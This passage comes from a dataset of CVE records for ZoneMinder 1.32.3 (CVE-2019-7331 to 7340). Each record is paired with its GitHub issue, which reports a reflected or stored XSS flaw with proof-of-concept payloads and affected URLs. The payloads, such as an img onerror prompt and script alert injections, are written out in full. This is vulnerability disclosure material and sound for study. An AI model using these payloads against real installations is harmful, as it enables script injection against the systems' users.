`frame`, insecurely prints the `show` parameter value on the webpage without applying any proper filtration, leading to reflected XSS. To Reproduce Affected URL : http://localhost/zm/index.php?view=frame&eid=2&fid=99&scale=test&show=<script>alert('1');</script> Payload used - `"><img src=x onerror=prompt('1');>` - Navigate to the Affected URL(with valid fid,eid), Payload would be triggered. <img width="519" alt="frame 1" src="https://user-images.githubusercontent.com/47003572/51703093-78999080-203b-11e9-8888-25533cb2d9f7.png"> Expected behavior - Proper escaping of special characters. Debug Logs ``` None ```	Reflected Cross Site Scripting(XSS) - frame.php (2)	https://api.github.com/repos/ZoneMinder/zoneminder/issues/2448/comments	0	2019-01-24T19:22:37Z	2019-02-09T23:11:57Z	https://github.com/ZoneMinder/zoneminder/issues/2448	402,858,733	2,448
CVE-2019-7331	2019-02-04T19:29:00.647	Self - Stored Cross Site Scripting (XSS) exists in ZoneMinder through 1.32.3 while editing an existing monitor field named "signal check color" (monitor.php). There exists no input validation or output filtration, leaving it vulnerable to HTML Injection and an XSS attack.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }	[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2451" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:zoneminder:zoneminder::::::::", "matchCriteriaId": "8045339C-B032-47D7-BEAE-90BCC6699C06", "versionEndExcluding": null, "versionEndIncluding": "1.32.3", "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/ZoneMinder/zoneminder/issues/2451	[ "Exploit", "Third Party Advisory" ]	github.com	[ "ZoneMinder", "zoneminder" ]	Describe Your Environment - ZoneMinder v1.33.1 - Installed from - ppa:iconnor/zoneminder-master Describe the bug A user can edit an existing monitor thereby modifying various misc properties, one of them being `signal check color`. There exists no input validation & output filtration, leaving it vulnerable to HTML Injection, XSS attack. To Reproduce Affected URL : http://localhost/zm/index.php?view=monitor&tab=misc Payload used - `"><a href="javascript:alert('1')` - Navigate to the Affected URL & modify the Signal check Color field with the provided payload & click on save. - Click on the color box, XSS would be triggered. <img width="314" alt="colour" src="https://user-images.githubusercontent.com/47003572/51703995-ea72d980-203d-11e9-96a2-3cdd824b32be.png"> Expected behavior - Proper escaping of special characters. Debug Logs ``` None ```	Self - Stored Cross Site Scripting (XSS) - monitor.php	https://api.github.com/repos/ZoneMinder/zoneminder/issues/2451/comments	0	2019-01-24T19:40:22Z	2019-02-10T00:43:25Z	https://github.com/ZoneMinder/zoneminder/issues/2451	402,865,181	2,451
CVE-2019-7332	2019-02-04T19:29:00.693	Reflected Cross Site Scripting (XSS) exists in ZoneMinder through 1.32.3, allowing an attacker to execute HTML or JavaScript code via a vulnerable 'eid' (aka Event ID) parameter value in the view download (download.php) because proper filtration is omitted.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }	[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2442" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:zoneminder:zoneminder::::::::", "matchCriteriaId": "8045339C-B032-47D7-BEAE-90BCC6699C06", "versionEndExcluding": null, "versionEndIncluding": "1.32.3", "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/ZoneMinder/zoneminder/issues/2442	[ "Exploit", "Third Party Advisory" ]	github.com	[ "ZoneMinder", "zoneminder" ]	Describe Your Environment - ZoneMinder v1.33.1 - Installed from - ppa:iconnor/zoneminder-master Describe the bug The view `download`, while exporting an event file, prints the `eid` (Event ID) on the webpage without applying any proper filtration, leading to an XSS issue. To Reproduce Affected URL : [http://localhost/zm/index.php?view=download&eid=<script>alert('1');</script>&exportFile=File&generated=1](http://localhost/zm/index.php?view=download&eid=<script>alert('1');</script>&exportFile=File&generated=1) Payload used - `<script>alert('1');</script>` - Navigate to the Affected URL, Payload would be triggered. <img width="544" alt="download - 2" src="https://user-images.githubusercontent.com/47003572/51695760-d58c4b00-2029-11e9-8c38-65a2cd44a886.png"> Expected behavior - Proper escaping of special characters. Debug Logs ``` None ```	Reflected Cross Site Scripting (XSS) - download.php (2)	https://api.github.com/repos/ZoneMinder/zoneminder/issues/2442/comments	0	2019-01-24T17:17:24Z	2019-02-09T09:37:57Z	https://github.com/ZoneMinder/zoneminder/issues/2442	402,812,072	2,442
CVE-2019-7333	2019-02-04T19:29:00.740	Reflected Cross Site Scripting (XSS) exists in ZoneMinder through 1.32.3, allowing an attacker to execute HTML or JavaScript code via a vulnerable 'Exportfile' parameter value in the view download (download.php) because proper filtration is omitted.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }	[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2441" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:zoneminder:zoneminder::::::::", "matchCriteriaId": "8045339C-B032-47D7-BEAE-90BCC6699C06", "versionEndExcluding": null, "versionEndIncluding": "1.32.3", "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/ZoneMinder/zoneminder/issues/2441	[ "Exploit", "Third Party Advisory" ]	github.com	[ "ZoneMinder", "zoneminder" ]	Describe Your Environment - ZoneMinder v1.33.1 - Installed from - ppa:iconnor/zoneminder-master Describe the bug The view `download`, while exporting an event file, prints the `Exportfile` parameter value on the webpage without applying any proper filtration, leading to reflected XSS. To Reproduce Affected URL : http://localhost/zm/index.php?view=download&eid=1&exportFile=javascript:alert('1');`&generated=1 Payload used - `javascript:alert('1');` - Navigate to the Affected URL - Click on Download, Payload would be triggered. <img width="477" alt="download - 1" src="https://user-images.githubusercontent.com/47003572/51695053-23a04f00-2028-11e9-8f0d-8dc5a40cfcd1.png"> Expected behavior - Proper escaping of special characters. Debug Logs ``` None ```	Reflected Cross Site Scripting (XSS) - download.php	https://api.github.com/repos/ZoneMinder/zoneminder/issues/2441/comments	0	2019-01-24T17:06:53Z	2019-02-09T09:17:26Z	https://github.com/ZoneMinder/zoneminder/issues/2441	402,807,645	2,441
CVE-2019-7334	2019-02-04T19:29:00.773	Reflected Cross Site Scripting (XSS) exists in ZoneMinder through 1.32.3, allowing an attacker to execute HTML or JavaScript code via a vulnerable 'Exportfile' parameter value in the view export (export.php) because proper filtration is omitted.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }	[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2443" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:zoneminder:zoneminder::::::::", "matchCriteriaId": "8045339C-B032-47D7-BEAE-90BCC6699C06", "versionEndExcluding": null, "versionEndIncluding": "1.32.3", "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/ZoneMinder/zoneminder/issues/2443	[ "Exploit", "Third Party Advisory" ]	github.com	[ "ZoneMinder", "zoneminder" ]	Describe Your Environment - ZoneMinder v1.33.1 - Installed from - ppa:iconnor/zoneminder-master Describe the bug The view `export`, while exporting an event file, prints the `Exportfile` name of the webpage without applying any proper filtration, leading to an XSS issue To Reproduce Affected URL : http://localhost/zm/index.php?view=export&eid=&exportFile=javascript:alert('1');&generated=1 Payload used - `javascript:alert('1');` - Navigate to the Affected URL - Click on Download, Payload would be triggered. <img width="505" alt="export - 1" src="https://user-images.githubusercontent.com/47003572/51700709-d32fee00-2035-11e9-90a9-68f528c8415e.png"> Expected behavior - Proper escaping of special characters. Debug Logs ``` None ```	Reflected Cross Site Scripting (XSS) - export.php	https://api.github.com/repos/ZoneMinder/zoneminder/issues/2443/comments	0	2019-01-24T18:42:31Z	2019-02-09T10:02:42Z	https://github.com/ZoneMinder/zoneminder/issues/2443	402,843,957	2,443
CVE-2019-7335	2019-02-04T19:29:00.803	Self - Stored XSS exists in ZoneMinder through 1.32.3, allowing an attacker to execute HTML or JavaScript code in the view 'log' as it insecurely prints the 'Log Message' value on the web page without applying any proper filtration. This relates to the view=logs value.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }	[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2453" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:zoneminder:zoneminder::::::::", "matchCriteriaId": "8045339C-B032-47D7-BEAE-90BCC6699C06", "versionEndExcluding": null, "versionEndIncluding": "1.32.3", "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/ZoneMinder/zoneminder/issues/2453	[ "Exploit", "Third Party Advisory" ]	github.com	[ "ZoneMinder", "zoneminder" ]	Describe Your Environment - ZoneMinder v1.33.1 - Installed from - ppa:iconnor/zoneminder-master Describe the bug The view `log`, insecurely prints the `Log Message` value on the webpage without applying any proper filtration, leading to XSS. Example - Attacker can entice the victim visit an non-existing view (using XSS payload instead of a valid view), the non-existing view will be reflected back in the logs, thereby triggering the XSS payload. To Reproduce Affected URL : http://localhost/zm/index.php?view=logs Payload used - `"><img src=x onerror=prompt('1');>` - Navigate to any URL, which reflects back the user supplied input into the logs view (http://localhost/zm/index.php?view=XSSPAYLOAD) - Navigate to the affected link, payload would be triggered. <img width="390" alt="logs" src="https://user-images.githubusercontent.com/47003572/51704509-42f6a680-203f-11e9-8cfe-c49dd2f0b65f.png"> Expected behavior - Proper escaping of special characters. Debug Logs ``` None ```	Self - Stored Cross Site Scripting(XSS) - log.php	https://api.github.com/repos/ZoneMinder/zoneminder/issues/2453/comments	0	2019-01-24T19:52:38Z	2019-02-10T02:44:06Z	https://github.com/ZoneMinder/zoneminder/issues/2453	402,869,600	2,453
CVE-2019-7336	2019-02-04T19:29:00.850	Self - Stored Cross Site Scripting (XSS) exists in ZoneMinder through 1.32.3, as the view _monitor_filters.php contains takes in input from the user and saves it into the session, and retrieves it later (insecurely). The values of the MonitorName and Source parameters are being displayed without any output filtration being applied. This relates to the view=cycle value.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }	[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2457" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:zoneminder:zoneminder::::::::", "matchCriteriaId": "8045339C-B032-47D7-BEAE-90BCC6699C06", "versionEndExcluding": null, "versionEndIncluding": "1.32.3", "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/ZoneMinder/zoneminder/issues/2457	[ "Exploit", "Third Party Advisory" ]	github.com	[ "ZoneMinder", "zoneminder" ]	Describe Your Environment - ZoneMinder v1.33.1 - Installed from - ppa:iconnor/zoneminder-master Describe the bug Multiple views include the view `_monitor_filters.php`, being the file where the vulnerable code exists. The view `_monitor_filters` contains a filter form, where it takes in input from the user & saves it into the session, in order to preserve & retrieve it later (insecurely). The value of `MonitorName` & `Source` parameter are being displayed without any output filtration being applied. To Reproduce Multiple Views (cycle.php example ) Affected URL : http://localhost/zm/index.php?view=cycle&filtering=&MonitorName="><img src=x onerror-prompt('1');>&Function[]=Modect&Status[]=Unknown&Status[]=w&Source="><img src=x onerror-prompt('1');> Payload used - `"><img src=x onerror-prompt('1');>` - Navigate to the Affected URL, Payload would be triggered. <img width="673" alt="cycle" src="https://user-images.githubusercontent.com/47003572/51705421-9ec22f00-2041-11e9-888c-7c10a34d41d4.png"> Expected behavior - Proper escaping of special characters. Debug Logs ``` None ```	Self - Stored Cross Site Scripting(XSS) - _monitor_filters.php	https://api.github.com/repos/ZoneMinder/zoneminder/issues/2457/comments	0	2019-01-24T20:09:34Z	2019-02-10T03:14:41Z	https://github.com/ZoneMinder/zoneminder/issues/2457	402,875,767	2,457
CVE-2019-7337	2019-02-04T19:29:00.897	Reflected Cross Site Scripting (XSS) exists in ZoneMinder through 1.32.3 as the view 'events' (events.php) insecurely displays the limit parameter value, without applying any proper output filtration. This issue exists because of the function sortHeader() in functions.php, which insecurely returns the value of the limit query string parameter without applying any filtration.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "LOW", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "NONE", "baseScore": 3.5, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:S/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 6.8, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 4.8, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "HIGH", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 1.7, "impactScore": 2.7, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }	[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2456" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:zoneminder:zoneminder::::::::", "matchCriteriaId": "8045339C-B032-47D7-BEAE-90BCC6699C06", "versionEndExcluding": null, "versionEndIncluding": "1.32.3", "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/ZoneMinder/zoneminder/issues/2456	[ "Exploit", "Third Party Advisory" ]	github.com	[ "ZoneMinder", "zoneminder" ]	Describe Your Environment - ZoneMinder v1.33.1 - Installed from - ppa:iconnor/zoneminder-master Describe the bug The view `events`, insecurely displays the `limit` parameter value, without applying any proper output filtration leading to XSS. This issue exists because of function `sortHeader()` in `functions.php` which insecurely returns the value of `limit` query string parameter without applying any filtration. To Reproduce Affected URL : http://localhost/zm/index.php?view=events&filter[Query][terms][0][attr]=Archived&filter[Query][terms][0][op]==&filter[Query][terms][0][val]=0&filter[Query][terms][1][cnj]=-3439)OR1=1-&filter[Query][terms][1][attr]=DiskPercent&filter[Query][terms][1][op]=>=&filter[Query][terms][1][val]=95&sort_field=Id&sort_asc=2&limit="><img src=x onerror-prompt('1');>&page=2 Payload used - `"><img src=x onerror-prompt('1');>` - Navigate to the Affected URL, Payload would be triggered. <img width="655" alt="events 2" src="https://user-images.githubusercontent.com/47003572/51705245-16438e80-2041-11e9-9db8-943fb8a43eb1.png"> Expected behavior - Proper escaping of special characters. Debug Logs ``` None ```	Reflected Cross Site Scripting(XSS) - events.php	https://api.github.com/repos/ZoneMinder/zoneminder/issues/2456/comments	0	2019-01-24T20:03:05Z	2019-02-10T01:28:00Z	https://github.com/ZoneMinder/zoneminder/issues/2456	402,873,415	2,456
CVE-2019-7338	2019-02-04T19:29:00.943	Self - Stored XSS exists in ZoneMinder through 1.32.3, allowing an attacker to execute HTML or JavaScript code in the view 'group' as it insecurely prints the 'Group Name' value on the web page without applying any proper filtration.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }	[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2454" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:zoneminder:zoneminder::::::::", "matchCriteriaId": "8045339C-B032-47D7-BEAE-90BCC6699C06", "versionEndExcluding": null, "versionEndIncluding": "1.32.3", "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/ZoneMinder/zoneminder/issues/2454	[ "Exploit", "Third Party Advisory" ]	github.com	[ "ZoneMinder", "zoneminder" ]	Describe Your Environment - ZoneMinder v1.33.1 - Installed from - ppa:iconnor/zoneminder-master Describe the bug The view `group`, insecurely displays the `Group name`, that is without applying any proper output filtration leading to XSS. To Reproduce Affected URL : http://localhost/zm/index.php?view=group&gid=1&popup=1 Payload used - `"><img src=x onerror-prompt('1');>` - Navigate to the Affected URL, Inject the XSS payload into the `Name` field (window will be closed). - Now on the current window, click on the group name, popup will be opened & XSS payload would be triggered. <img width="406" alt="group" src="https://user-images.githubusercontent.com/47003572/51704836-0e371f00-2040-11e9-925c-0f4cd4f980d2.png"> Expected behavior - Proper escaping of special characters. Debug Logs ``` None ```	Self - Stored Cross Site Scripting(XSS) - group.php	https://api.github.com/repos/ZoneMinder/zoneminder/issues/2454/comments	0	2019-01-24T19:56:02Z	2019-02-09T22:06:20Z	https://github.com/ZoneMinder/zoneminder/issues/2454	402,870,845	2,454
CVE-2019-7339	2019-02-04T19:29:00.977	POST - Cross Site Scripting (XSS) exists in ZoneMinder through 1.32.3, allowing an attacker to execute HTML or JavaScript code via a vulnerable 'level' parameter value in the view log (log.php) because proper filtration is omitted.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }	[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2460" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:zoneminder:zoneminder::::::::", "matchCriteriaId": "8045339C-B032-47D7-BEAE-90BCC6699C06", "versionEndExcluding": null, "versionEndIncluding": "1.32.3", "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/ZoneMinder/zoneminder/issues/2460	[ "Exploit", "Third Party Advisory" ]	github.com	[ "ZoneMinder", "zoneminder" ]	Describe Your Environment - ZoneMinder v1.33.1 - Installed from - ppa:iconnor/zoneminder-master Describe the bug The parameter value `level`, is displayed insecurely, without applying any proper output filtration leading to XSS To Reproduce Affected URL : http://localhost/zm/index.php POST Data - `browser[name]=chrome&browser[platform]=win&browser[version]=41&file=http://localhost/zm/?filter[Query][terms][0][attr]=MonitorId&filter[Query][terms][0][op]==&filter[Query] [terms][0][val]=19&level="><img src=x onerror=prompt('1');>&line=128&message=ReferenceError: Can't find variable: createPopup&page=1&request=log&task=create&view=events&view=request` Payload used - `"><img src=x onerror=prompt('1');>` - Navigate to the Affected URL, Payload would be triggered. <img width="686" alt="level" src="https://user-images.githubusercontent.com/47003572/51706543-c5359980-2044-11e9-9e80-264333dfa91d.png"> Expected behavior - Proper escaping of special characters. Debug Logs ``` None ```	POST - Reflected Cross Site Scripting(XSS) - log.php	https://api.github.com/repos/ZoneMinder/zoneminder/issues/2460/comments	0	2019-01-24T20:29:35Z	2019-02-10T02:52:11Z	https://github.com/ZoneMinder/zoneminder/issues/2460	402,882,684	2,460
CVE-2019-7340	2019-02-04T19:29:01.007	POST - Cross Site Scripting (XSS) exists in ZoneMinder through 1.32.3, allowing an attacker to execute HTML or JavaScript code via a vulnerable 'filter[Query][terms][0][val]' parameter value in the view filter (filter.php) because proper filtration is omitted.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }	[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2462" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:zoneminder:zoneminder::::::::", "matchCriteriaId": "8045339C-B032-47D7-BEAE-90BCC6699C06", "versionEndExcluding": null, "versionEndIncluding": "1.32.3", "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/ZoneMinder/zoneminder/issues/2462	[ "Exploit", "Third Party Advisory" ]	github.com	[ "ZoneMinder", "zoneminder" ]	